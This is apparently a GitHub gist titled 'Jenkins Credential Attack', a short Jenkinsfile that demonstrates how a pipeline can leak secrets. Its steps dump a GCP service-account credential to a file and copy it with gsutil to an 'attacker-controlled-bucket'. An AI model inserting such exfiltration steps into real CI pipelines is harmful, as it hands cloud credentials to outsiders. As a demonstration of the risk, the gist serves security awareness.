Created
May 7, 2019 10:36
-
-
Save kbroughton/8d68c1cbc94cdf66ba2ca7a82e8801c5 to your computer and use it in GitHub Desktop.
Jenkins Credential Attack
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Jenkinsfile (Pipeline with credentials management) | |
pipeline { | |
environment { | |
credentials = credentials('jenkins-gcp-service-account') | |
} | |
stages { | |
stage('Example stage 1') { | |
steps { | |
// use the credentials to upload to a Storage Bucket or | |
// push to gcr.io owned by company | |
// OR execute a malicious groovy script that does this | |
cat $credentials > credentials.txt | |
gsutil cp credentials.txt gs://attacker-controlled-bucket/ | |
} | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment